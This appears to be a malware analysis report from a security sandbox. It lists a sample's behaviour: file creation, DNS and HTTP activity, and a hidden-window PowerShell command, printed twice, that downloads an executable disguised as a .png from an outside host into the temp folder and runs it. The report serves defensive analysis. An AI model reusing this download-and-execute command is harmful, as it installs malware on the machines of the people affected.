Technical Information
Malicious functions
Downloads and executes
- http://idocakes.ca/cus5pv27ci8rvfuobyycu.png as %temp%\cosngx.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://idocakes.ca/cuS5pV27ci8rvFuoBYYCU.png','%TMP%\cosngx.exe');Start-Process '%TMP%\cosngx.exe';
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1868
Modifies file system
Creates the following files
- %TEMP%\1123722.cvr
Network activity
Connects to
- 'id##akes.ca':80
TCP
HTTP GET requests
- http://id##akes.ca/cuS5pV27ci8rvFuoBYYCU.png
UDP
- DNS ASK id##akes.ca
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://idocakes.ca/cuS5pV27ci8rvFuoBYYCU.png','%TMP%\cosngx.exe');Start-Process '%TMP%\cosngx.exe';' (with hidden window)
